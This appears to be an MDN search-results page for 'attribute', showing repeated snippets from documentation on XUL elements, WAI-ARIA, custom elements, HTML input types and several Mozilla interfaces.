attributes | properties | methods | related ] this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content. note: in versions of firefox prior to firefox 3, rich list boxes support only single selection. firefox 3 introduced multiple selection to rich list boxes. ...
...emselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> the richlistbox element contains multiple richlistitem elements, which can contain any content. you can click on any richlistitem element and use the keyboard to move the selection around. ...
...And 18 more matches
tree - Archive of obsolete content
the tree may contain any number of rows and any number of columns. each row of the tree may contain child rows which are displayed indented from the parent. unlike other elements, the data to display inside the tree is not specified using tags, but is determined from a view object. the view object implements the nsitreeview interface. the view is queried for the data to appear in the tree. there are several ways in which trees are used, as listed below. the second column lists the interfaces available via the tree's view property. ...
... view object implements the nsitreeview interface. the view is queried for the data to appear in the tree. there are several ways in which trees are used, as listed below. the second column lists the interfaces available via the tree's view property. the third column indicates whether treeitem element are used. if you would like to allow the tree to be horizontally scrolled, simply set the width
attributes for each column to make the tree wider than its containing object. tree type view interfaces has dom nodes? description content tree nsitreeview, nsitreecontentview yes this tree has treeitem elements placed within the treechildren element. in this situation, a content view (which implements the interface nsitreecontentview) which is a more specialized type o...
... their descendants to determine the data to display in the tree. however, the treeitems are not displayed directly; they are used only as data to the content view. however, the content view will automatically update the tree if treeitems are changed. rdf tree nsitreeview, nsixultreebuilder no this tree is generated from an rdf datasource. it is used when a tree has a datasources
attribute, and has dont-build-content in its flags
attribute. for this tree, the data comes directly from the rdf datasource. dom treeitems are not created. even though the template uses treeitem elements to define the content, dom nodes for these elements are not created. this is the type that should be used for rdf generated trees with lots of rows. rdf content tree nsitreeview, nsixultreebui...
...And 18 more matches
WAI-ARIA basics - Learn web development
ipt. the problem here is that visually they work, but screenreaders can't make any sense of what they are at all, and their users just get told that they can see a jumble of elements with no semantics to describe what they mean. enter wai-aria wai-aria (web accessibility initiative - accessible rich internet applications) is a specification written by the w3c, defining a set of additional html
attributes that can be applied to elements to provide additional semantics and improve accessibility wherever it is lacking. there are three main features defined in the spec: roles — these define what an element is or does. many of these are so-called landmark roles, which largely duplicate the semantic value of html5 structural elements e.g. role="navigation" (<nav>) or role="complementary" (<aside>...
... the page, including multiple elements, which is not possible using <label for="input">. as an example, you could use aria-labelledby to specify that a key description contained in a <div> is the label for multiple table cells, or you could use it as an alternative to image alt text — specify existing information on the page as an image's alt text, rather than having to repeat it inside the alt
attribute. you can see an example of this at text alternatives. states — special properties that define the current conditions of elements, such as aria-disabled="true", which specifies to a screenreader that a form input is currently disabled. states differ from properties in that properties don't change throughout the lifecycle of an app, whereas states can change, generally programmatically via javas...
...ternatives. states — special properties that define the current conditions of elements, such as aria-disabled="true", which specifies to a screenreader that a form input is currently disabled. states differ from properties in that properties don't change throughout the lifecycle of an app, whereas states can change, generally programmatically via javascript. an important point about wai-aria
attributes is that they don't affect anything about the web page, except for the information exposed by the browser's accessibility apis (where screenreaders get their information from). wai-aria doesn't affect webpage structure, the dom, etc., although the
attributes can be useful for selecting elements by css. note: you can find a useful list of all the aria roles and their uses, with links to futher i...
...And 18 more matches
Using custom elements - Web Components
uctor super(); // element functionality written in here ... } } this is just a simple example, but there is more you can do here. it is possible to define specific lifecycle callbacks inside the class, which run at specific points in the element's lifecycle. for example, connectedcallback is invoked each time the custom element is appended into a document-connected element, while
attributechangedcallback is invoked when one of the custom element's
attributes is added, removed, or changed. you'll learn more about these in the using the lifecycle callbacks section below. there are two types of custom elements: autonomous custom elements are standalone — they don't inherit from standard html elements. you use these on a page by literally writing them out as an html element. for...
... page by literally writing them out as an html element. for example <popup-info>, or document.createelement("popup-info"). customized built-in elements inherit from basic html elements. to create one of these, you have to specify which element they extend (as implied in the examples above), and they are used by writing out the basic element but specifying the name of the custom element in the is
attribute (or property). for example <p is="word-count">, or document.createelement("p", { is: "word-count" }). working through some simple examples at this point, let's go through some more simple examples to show you how custom elements are created in more detail. autonomous custom elements let's have a look at an example of an autonomous custom element — <popup-info-box> (see a live example). thi...
...he custom element, use some dom manipulation to create the element's internal shadow dom structure — which is then attached to the shadow root — and finally attach some css to the shadow root to style it. ...
...And 18 more matches
tooltip - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is used for the tooltip popups. for text-only tooltips, this element doesn't need to be used; instead you may just add a tooltiptext
attribute to an element. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] this element is used for the tooltip popups. for text-only tooltips, this element doesn't need to be used; instead you may just add a tooltiptext
attribute to an element. more information is available in the xul tutorial. ...
...an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in...
...And 17 more matches
Basic native form controls - Learn web development
detail the original set of native form widgets available in browsers for collecting data, and how to implement them using html. you've already met some form elements, including <form>, <fieldset>, <legend>, <textarea>, <label>, <button>, and <input>. this article covers: the common input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text. some of the
attributes that are common to all form controls. note: the features discussed in this article are supported in all browsers, which is not the case for all form controls. we cover newer form controls added in html5 in the next two articles. if you want a more advanced reference, you should consult our html forms element reference, and in particular our extensive <input> types reference. text input fiel...
...is never sent with the rest of the form data). they can have a placeholder; this is text that appears inside the text input box that should be used to briefly describe the purpose of the box. they can be constrained in size (the physical size of the box) and maxlength (the maximum number of characters that can be entered into the box). they can benefit from spell checking (using the spellcheck
attribute), if the browser supports it. note: the <input> element is unique amongst html elements because it can take many different forms depending on its type
attribute value. it is used for creating most types of form widgets including single line text fields, time and date controls, controls without text input like checkboxes, radio buttons, and color pickers, and buttons. single line text fields ...
...ngst html elements because it can take many different forms depending on its type
attribute value. it is used for creating most types of form widgets including single line text fields, time and date controls, controls without text input like checkboxes, radio buttons, and color pickers, and buttons. single line text fields a single line text field is created using an <input> element whose type
attribute value is set to text, or by omitting the type
attribute altogether (text is the default value). the value text for this
attribute is also the fallback value if the value you specify for the type
attribute is unknown by the browser (for example if you specify type="color" and the browser doesn't support native color pickers). note: you can find examples of all the single line text field types o...
...And 17 more matches
Displaying Places information using views
or history in your extension or application, you may want to use the built-in places views, which are generic and will save you a lot of time writing basic functionality so that you can focus on building your extension or application. places provides the following built-in views: tree menu toolbar instantiating the three built-in views are simply standard xul elements with a special type
attribute whose value is "places". every xul document containing a built-in view must import the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds ele...
...very xul document containing a built-in view must import the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type
attribute to one of the views. the overlay contains javascript required by the views. it also contains the built-in places context menu and commands, which you may want to take advantage of in your own uses of the views. connecting a view to its data to hook up a built-in view to its data, use the view's special place
attribute. note: starting in gecko 2.0, you can't use the place
attribute with menus.
...ipt required by the views. it also contains the built-in places context menu and commands, which you may want to take advantage of in your own uses of the views. connecting a view to its data to hook up a built-in view to its data, use the view's special place
attribute. note: starting in gecko 2.0, you can't use the place
attribute with menus. see menu view for details. you may specify the
attribute directly in the xul or set its corresponding property via javascript. its value is the uri of a query, and the data shown in the view are the results of this query. for simple queries whose uris do not change over the life of the view, you might specify the place
attribute directly in the xul. for more complicated queries or queries whose uris you plan on changing, you will want to set the view's...
...And 17 more matches
nsIFile
each element in the enumeration is an nsifile. read only. exceptions thrown ns_error_file_not_directory indicates that this nsifile does not reference a directory. diskspaceavailable print64 the number of...
...each element in the enumeration is an nsifile. read only. exceptions thrown ns_error_file_not_directory indicates that this nsifile does not reference a directory. diskspaceavailable print64 the number of bytes available to n...
...rectory. each element in the enumeration is an nsifile. read only. exceptions thrown ns_error_file_not_directory indicates that this nsifile does not reference a directory. diskspaceavailable print64 the number of bytes available to non-superuser on the disk volume containing the nsifile. read only. filesize print64 the value of this
attribute is the number of bytes corresponding to the data represented by the file. on the mac, getting/setting the file size with nsifile only deals with the size of the data fork. if you need to know the size of the combined data and resource forks use nsilocalfilemac.getfilesizewithresfork(). changing the size of a nsifile operates on the underlying filesystem, possibly truncating the existing ...
...And 17 more matches
Accessibility documentation index - Accessibility
mary 1 accessibility accessibility, landing accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way. 2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of
attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities. it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility this is just a guide. live region markup is a ...
...l form-related elements, it is important to provide labels for controls, and explicitly associate a label with its control. 11 multipart labels: using aria for labels with embedded fields inside them aria, accessibility, ben millard, firefox, guide, help, html, html 4, jaws, needscontent, aria-labelledby, label, solution, trouble shoot, troubleshoot the solution is in an aria
attribute called aria-labelledby. its parameter is a string that consists of the ids of the html elements you want to concatenate into a single accessible name. 12 how to file aria-related bugs aria, bugzilla the state of aria technology has always depended on the community. if you notice an implementation issue, please take a little time and let the developers know. here's where to fi...
...tdialog, alerts, modal, user, useragent the alertdialog role is used to notify the user of urgent information that demands the user's immediate attention. as the name implies, alertdialog is a type of dialog. this means that most of the instructions provided in the 'using the dialog role' technique are applicable to the alertdialog role as well: 17 using the aria-activedescendant
attribute attribute, document object model, needscontent, property, widget, aria-activedescendant this article describes the aria-activedescendant property. 18 using the aria-describedby
attribute aria, accessibility,
attribute the aria-describedby
attribute is used to indicate the ids of the elements that describe the object. it is used to establish a relationship between wi...
...And 17 more matches
<input type="file"> - HTML: Hypertext Markup Language
g javascript code and the file api. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. ...
...source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. events change and input supported common
attributes required additional
attributes accept, capture, files, multiple idl
attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value
attribute contains a domstring that represents the path to the selected file(s). if the user selected multiple files, t...
...ed using the input's htmlinputelement.files property. note: if multiple files are selected, the string represents the first selected file. javascript can access the other files through the input's files property. if no file is yet selected, the string is "" (empty). the string is prefixed with c:\fakepath\, to prevent malicious software from guessing the user's file structure. ...
...And 17 more matches
Custom XUL Elements with XBL - Archive of obsolete content
ding. taken from the xbl page. this somewhat cryptic explanation describes a very simple concept: with xbl you can create your own custom elements. xbl is heavily used in xul, but in theory it could be applied to any xml language. xbl was submitted to the w3c for standardization, but for now it's used in xul almost exclusively. with xbl you can define new elements and define their properties,
attributes, methods and event handlers. many complex elements such as tabs, buttons and input controls are implemented using xbl and simpler xul elements. as explained earlier, xul is really just boxes, text and images. we'll look into xbl using a modified version of the hello world extension. download the hello world xbl project, build it and test it for a while. you should see a new item in the hello wo...
...tylesheet is included, which means that the xshelloperson tag can now be used just like any xul tag. in this case we're adding the "persons" dynamically, so you'll have to look into the js file to see how xshelloperson elements are created and added to the dom just like any other. addperson : function(aevent) { // ... let person = document.createelement("xshelloperson"); // ... person.set
attribute("name", name); person.set
attribute("greeting", greeting); // ... personlist.appendchild(person); // ... }, this is where the advantage of xbl is obvious: we only need to create a single node and set some
attributes. we didn't need to create a whole xul structure that would require around 7 nodes every time a "person" is created. xbl provides the encapsulation we needed to manage these n...
... accesskey="&xulshoolhello.remove.accesskey;" oncommand="document.getbindingparent(this).remove(event);" /> </xul:vbox> </xul:hbox> </content> our element is very simple, displaying an image, a couple of text lines and a button. here are a couple of important things to notice: the "xul:" namespace must be used for all xul tags you have in your content. ...
...And 16 more matches
Broadcasters and Observers - Archive of obsolete content
« previousnext » there may be times when you want several elements to respond to events or changes of state easily. to do this, we can use broadcasters. command
attribute forwarding we've already seen that elements such as buttons can be hooked up to commands. in addition, if you place the disabled
attribute on the command element, any elements hooked up to it will also become disabled automatically. this is a useful way to simplify the amount of code you need to write. the technique also works for other
attributes as well. for instance, if you place a label
attribute on a command element, any buttons attached to the command will share the same label. example 1 : source view <command id="my_command" label="open"/> <button command="my_command"/> <checkbox label="open in a new ...
...e. the technique also works for other
attributes as well. for instance, if you place a label
attribute on a command element, any buttons attached to the command will share the same label. example 1 : source view <command id="my_command" label="open"/> <button command="my_command"/> <checkbox label="open in a new window" command="my_command"/> in this example, the button does not have a label
attribute, however it is attached to a command that does. the button will share the label with the command. the checkbox already has a label, however, it will be overridden by the command's label. the result is that both the button and the checkbox will have the same label 'open'. if you were to modify the command's label
attribute, the label on the button and checkbox will adjust accordingly. we saw some...
...on will share the label with the command. the checkbox already has a label, however, it will be overridden by the command's label. the result is that both the button and the checkbox will have the same label 'open'. if you were to modify the command's label
attribute, the label on the button and checkbox will adjust accordingly. we saw something like this in a previous section where the disabled
attribute was adjusted once and propagated to other elements. this
attribute forwarding is quite useful for a number of purposes. for instance, let's say that we want the back action in a browser to be disabled. we would need to disable the back command on the menu, the back button on the toolbar, the keyboard shortcut (alt+left for example) and any back commands on popup menus. although we could write a ...
...And 16 more matches
scale - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a scale (sometimes referred to as a "slider") allows the user to select a value from a range. a bar displayed either horizontally or vertically allows the user to select a value by dragging a thumb on the bar. use the orient
attribute to specify the orientation of the scale. the default value is horizontal which displays a horizontal scale. lower values are to the left and higher values are to the right. set the orient
attribute to vertical to use a vertical scale. the user may use the arrow keys to increment and decrement the value by one unit, or the page up and page down keys to increment and decrement the value by one page, as specified by the pageincrement
attribute. the home and end keys set the sc...
... a vertical scale. the user may use the arrow keys to increment and decrement the value by one unit, or the page up and page down keys to increment and decrement the value by one page, as specified by the pageincrement
attribute. the home and end keys set the scale's value to the minimum and maximum values, respectively. a scale will fire a change event whenever the scale's value is modified. ...
... whenever the scale's value is modified.
attributes dir, disabled, increment, max, min, movetoclick, pageincrement, tabindex, value properties disabled, max, min, increment, pageincrement, tabindex, value, methods decrease, decreasepage, increase, increasepage, examples horizontal scale: <scale min="1" max="10"/> vertical scale: <scale min="1" max="10" orient="vertical"/>
attributes dir type: one of the values below the direction in which the child elements of the element are placed. normal for scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code. reverse for scales, t...
...And 16 more matches
Index
together with the signature). the signature is verified if it can be shown that the signature data block must have been produced by the owner of the public key (because only that owner has the associated private key). verifying a certificate (a) requires some additional steps. first, you must identify the potential signer (b) of a certificate (a). this is done by reading the “issuer name”
attribute of a certificate (a), and trying to find that issuer certificate (b) (by looking for a certificate that uses that name as its “subject name”). then you attempt to verify the signature found in (a) using the public key found in (b). it might be necessary to try multiple certificates (b1, b2, ...) each having the same subject name. after succeeding, it might be necessary to repeat this proce...
... -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time
attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default...
...h info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities
attribute. -p password use password as key database password. -r recipient1,recipient2, ... specify list of recipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (d...
...And 16 more matches
nsITextInputProcessor
repeat: false, ...
...keyboardevent("", // type
attribute value should be empty. { key: "enter", // required. code: "enter", // optional. keycode: keyboardevent.dom_vk_return, // required if printable key, but optional if non-printable key. location: keyboardevent.dom_vk_standard, // optional, may be computed from code
attribute value. repeat: false, // optional. }); // the other
attributes are always ignored. var dodefault = tip.keydown(keyevent); when you dispatch keyup event, just do this: var keyevent = new keyboardevent("", { key: "a", code: "keya", keycode: keyboardevent.dom_vk_a }); var dodefault = tip.keyup(keyevent); startcompositi...
...pecification of dom level 3 events. however, it's the best for every textinputprocessor user to specify keyboardevent every time because when gecko will change the behavior of keyboard events during composition, textinputprocessor must not need to change for the new behavior in most cases. ...
...And 16 more matches
<script>: The Script element - HTML: Hypertext Markup Language
ent dynamic script such as text/javascript. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts metadata content, or any element that accepts phrasing content. ...
.... tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts metadata content, or any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlscriptelement
attributes this element includes the global
attributes. ...
...ag are mandatory. permitted parents any element that accepts metadata content, or any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlscriptelement
attributes this element includes the global
attributes. ...
...And 16 more matches
MenuItems - Archive of obsolete content
are available by looking at the menus. <keyset> <key id="open-key" modifiers="accel" key="o"/> <key id="close-key" modifiers="accel" key="c"/> </keyset> <menubar> <menu label="view"> <menupopup> <menuitem label="open" key="open-key"/> <menuitem label="close" key="close-key"/> </menupopup> </menu> </menubar> the two menuitems are associated with a key using the key
attribute. it should be set to the id of a key element within the same document. the result is that the items will display the shortcut key next to their labels. for the "open" item in this example, this command can be invoked by using the "accel" modifier key and pressing 'o'. the "accel" modifier key varies on each platform, but is the key typically used for shortcut keys. for instance, if the "accel" ke...
...le, this command can be invoked by using the "accel" modifier key and pressing 'o'. the "accel" modifier key varies on each platform, but is the key typically used for shortcut keys. for instance, if the "accel" key is control, the menu might display "ctrl + o". although there isn't usually a need to do so, you can also set a custom label for the keyboard shortcut on the menu using the acceltext
attribute. you might do this if the key associated with the item changes, for instance a list of open windows displayed on a window menu. <menuitem label="first window" acceltext="1"/> here the keyboard shortcut label will be '1', however you will need to write code to handle the key as well. adding icons to menu items an icon may be added to a menu item using the image
attribute. the icon will appear...
... icon is expected. <menuitem id="add-bookmark" class="menuitem-iconic" label="add bookmark" image="addbookmark.png"/> as the image appears on a menu item, you will want to ensure you use a fairly small image. although the exact size will vary depending on the theme being used, the size of menu item images should generally be around 16 by 16 pixels. instead of specifying the icon with the image
attribute, you can also reference the image in a style sheet with the 'list-style-image' property. #add-bookmark { list-style-image: url('addbookmark.png'); } this technique can also be used to apply an image for the menu element, except you would want to use the "menu-iconic:" class instead. <menuitem id="bookmark" class="menu-iconic" label="bookmarks" image="bookmarks.png"/> menu icon animation ...
...And 15 more matches
checkbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element that can be turned on and off. this is most commonly rendered as a box when the element is off and a box with a check when the element is on. the user can switch the state of the check box by selecting it with the mouse. a label, specified with the label
attribute, may be added beside the check box. more information is available in the xul tutorial. ...
...erties | methods | related ] an element that can be turned on and off. this is most commonly rendered as a box when the element is off and a box with a check when the element is on. the user can switch the state of the check box by selecting it with the mouse. a label, specified with the label
attribute, may be added beside the check box. more information is available in the xul tutorial. ...
...ute, may be added beside the check box. more information is available in the xul tutorial.
attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, command, crop, disabled, src, label, tabindex examples <checkbox label="enable javascript" checked="true"/> <checkbox label="enable java" checked="false"/>
attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label
attribute for the element. checked type: boolean indicates whether the element is checked or not. use has
attribute() to determine whether this
attribute is set instead of get
attribute(). for buttons, the type attr...
...And 15 more matches
Accessibility API cross-reference
ite familiar to users of html, xml, sgml and others. the roles it specifies have already informed the 'semantic elements' of html5 (such as main and footer), but there is not a one-to-one mapping between the aria roles and the semantics of html5. aria can be used to 'fill out' the missing semantics of html, but may also be used in other markup languages (such as svg) and expresses semantics using
attributes, compared with html, which tends to have distinct named elements for its roles. for all these reasons, aria and html are given separate columns. aria abstract roles should not be used by content authors. the gnome accessibility architecture is implemented via atk and at-spi, and was implemented by sun microsystems. it will be reused for kde accessibility via at-spi . we find that it uses very s...
...aria-haspopup on an element with a button role represents the system's caret caret n/a n/a n/a a brief portion of text describing a table or figure. ...
...eys, e.g. a spreadsheet. gridcell a type of mouse pointer used for resizing windows grip n/a n/a n/a probably a group box (titledbox in mozilla) grouping panel panel group <fieldset>, <div> a heading for a section of the page. in aria, the heading level is expressed with the aria-level
attribute. heading <h1> ... <h6> <h1> ... <h6>. <h> is also available but its use is not recommended because of lack of suitable tools - and the heading level is undefined click on this thing and then click on the item for tooltip style help helpballoon n/a n/a n/a editable field that allows user to assign a key combination hotke...
...And 15 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
must be 1, 2, 3, or 4. type a glenum specifying the data type of each component in the array. ...
...must be 1, 2, 3, or 4. type a glenum specifying the data type of each component in the array. ...
...must be 1, 2, 3, or 4. type a glenum specifying the data type of each component in the array. ...
...And 15 more matches
<input type="range"> - HTML: Hypertext Markup Language
oject, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the user's browser doesn't support type range, it will fall back and treat it as a text input. value a domstring containing the string representation of the selected numeric value; use valueasnumber to get the value as a number. ...
...d send us a pull request. if the user's browser doesn't support type range, it will fall back and treat it as a text input. value a domstring containing the string representation of the selected numeric value; use valueasnumber to get the value as a number. events change and input supported common
attributes autocomplete, list, max, min, and step idl
attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input. the value won't be less tha...
...wing forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input. the value won't be less than min. the default is 0. the value won't be greater than max. the default is 100. the value will be a multiple of step. the default is 1. value the value
attribute contains a domstring which contains a string representation of the selected number. the value is never an empty string (""). the default value is halfway between the specified minimum and maximum—unless the maximum is actually less than the minimum, in which case the default is set to the value of the min
attribute. the algorithm for determining the default value is: defaultvalue = (rangeelem.
...And 15 more matches
<input type="time"> - HTML: Hypertext Markup Language
to clear the control's value. 12-hour 24-hour edge the edge time control is somewhat more elaborate, opening up an hour and minute picker with sliding reels. it, like chrome, uses a 12- or 24-hour format for inputting times, based on system locale: 12-hour 24-hour value a domstring representing a time, or empty. ...
... time control is somewhat more elaborate, opening up an hour and minute picker with sliding reels. it, like chrome, uses a 12- or 24-hour format for inputting times, based on system locale: 12-hour 24-hour value a domstring representing a time, or empty. events change and input supported common
attributes autocomplete, list, readonly, and step idl
attributes value, valueasdate, valueasnumber, and list. ...
... events change and input supported common
attributes autocomplete, list, readonly, and step idl
attributes value, valueasdate, valueasnumber, and list. methods select(), stepdown(), and stepup(). value a domstring containing the value of the time entered into the input. ...
...And 15 more matches
Positioning - Archive of obsolete content
ever, the submenu will appear to the left instead for right to left locales. for both top level menus and submenus, they may appear above or to the left instead of their usual placement if there is not enough room to display the menu at full size below or to the right. if there is not enough room on either side, the menu will be shrunk down to fit. for popups attached using the popup or context
attributes, the default position to appear is with the upper left corner (or upper right corner in right to left locales) at the position where the mouse was clicked. context menus will appear offset down and to the right a couple of pixels so that the menu can be dismissed again just by clicking in the same place. if a context menu was opened via the keyboard only, the menu will appear at the top left cor...
...menus will appear offset down and to the right a couple of pixels so that the menu can be dismissed again just by clicking in the same place. if a context menu was opened via the keyboard only, the menu will appear at the top left corner of the document, or underneath the currently selected item if a list is focused. ...
...same place. if a context menu was opened via the keyboard only, the menu will appear at the top left corner of the document, or underneath the currently selected item if a list is focused. context menus will always appear in this location, and not respect any position
attribute value. tooltips will always appear near the current mouse position, offset vertically by a small amount. the position
attribute the position of all types of popups can be controlled in two ways. first, the position can be specified when using the popup's openpopup method. this is used when a popup is opened by a script. second, the position can be specified using several
attributes placed on the menupopup, panel or tooltip element. these
attributes are described below and function the same for all three elements. the po...
...And 14 more matches
datepicker - Archive of obsolete content
if not specified, the datepicker defaults to the current day. ...
...if not specified, the datepicker defaults to the current day. ...
...if not specified, the datepicker defaults to the current day. to change the selected date, the value property may be used to set a new value in the form yyyy-mm-dd. ...
...And 14 more matches
description - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is used to create a block of text. the text can be set either with the value
attribute or by placing text inside the open and close description tags. the value
attribute is used to set text that appears in a single line. if text appears as a child of the description, it will wrap to multiple lines. it may contain arbitrary markup, which can be styled as needed. more information is available in the xul tutorial. ...
... block of text. the text can be set either with the value
attribute or by placing text inside the open and close description tags. the value
attribute is used to set text that appears in a single line. if text appears as a child of the description, it will wrap to multiple lines. it may contain arbitrary markup, which can be styled as needed. more information is available in the xul tutorial.
attributes crop, disabled, tabindex value properties accessibletype, crop, disabled, tabindex, value style classes header, indent, monospace, plain, small-margin examples this is a long section of text that will word wrap when displayed <description> this is a long section of text that will word wrap when displayed. </description> this is a long section of text that will not word wrap <des...
...an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side ...
...And 14 more matches
preference - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] declares a preference that may be adjusted in a prefpane. this element must be placed inside a preferences element. each preference element corresponds to a preference which is stored in the user's preferences file. you can connect a user interface element such as a checkbox to a preference element using the user interface element's preference
attribute. more information is available in the preferences system article. ...
... may be adjusted in a prefpane. this element must be placed inside a preferences element. each preference element corresponds to a preference which is stored in the user's preferences file. you can connect a user interface element such as a checkbox to a preference element using the user interface element's preference
attribute. more information is available in the preferences system article. ...
...
attributes disabled, instantapply, inverted, name, onchange, readonly, tabindex, type properties defaultvalue, disabled, hasuservalue, inverted, locked, name, preferences, readonly, tabindex, type, value, valuefrompreferences methods reset examples <preferences> <preference id="pref_id" name="preference.name" type="int"/> </preferences> see preferences system for a complete example.
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. ...
...And 14 more matches
tabs - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a row of tabs. a tabs element should be placed inside a tabbox and should contain tab elements. nb: you can add some other elements to tabs such as button, but they will receive an index. activating them will not change the selectedindex. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a row of tabs. a tabs element should be placed inside a tabbox and should contain tab elements. nb: you can add some other elements to tabs such as button, but they will receive an index. activating them will not change the selectedindex. more information is available in the xul tutorial. ...
...this feature is used by the tabbrowser to provide the facilities for adding and closing tabs. ...
...And 14 more matches
nsIMsgIncomingServer
ctions(); void configuretemporaryfilters(in nsimsgfilterlist filterlist); void configuretemporaryreturnreceiptsfilter(in nsimsgfilterlist filterlist); obsolete since gecko 1.8 void displayofflinemsg(in nsimsgwindow awindow); boolean equals(in nsimsgincomingserver server); void forgetpassword(); void forgetsessionpassword(); astring generateprettynameformigration(); boolean getbool
attribute(in string name); boolean getboolvalue(in string attr); acstring getchar
attribute(in string name); acstring getcharvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getint
attribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder ...
...n string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder afolderresource, in acstring auri); void getnewmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunichar
attribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamechanged(in acstring oldname, in acstring newname); void performbiff(in nsimsgwindow amsgwindow); void performexpand(in nsimsgwindow amsgwindow); void removefiles(); void setbool
attribute(in string name, in boolean value); void setboolvalue(in string at...
...rvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamechanged(in acstring oldname, in acstring newname); void performbiff(in nsimsgwindow amsgwindow); void performexpand(in nsimsgwindow amsgwindow); void removefiles(); void setbool
attribute(in string name, in boolean value); void setboolvalue(in string attr, in boolean value); void setchar
attribute(in string name, in acstring value); void setcharvalue(in string attr, in acstring value); void setdefaultlocalpath(in nsilocalfile adefaultlocalpath); void setfilevalue(in string relpref, in string abspref, in nsilocalfile avalue); void setfilterlist(in nsimsgfilterlist afilterlist); void setint
attribute(in string name, in long value); void setintvalue(in string attr, in long value); ...
...And 14 more matches
Creating a cross-browser video player - Developer guides
ack possible, please download the video from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>© blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls
attribute is still added to the <video> element, and the player's default control set is switched off later with javascript. doing things this way still allows users who have javascript turned off (for whatever reason) to still have access to the browser's native controls. a poster image is defined for the video, and the preload
attribute is set to metadata, which informs the browser that it should initia...
...the browser's native controls. a poster image is defined for the video, and the preload
attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file. this provides the player with data such as video duration and format. note: ie9 behaves differently than most other browsers when a poster
attribute is set. most browsers interpret the presence of a poster
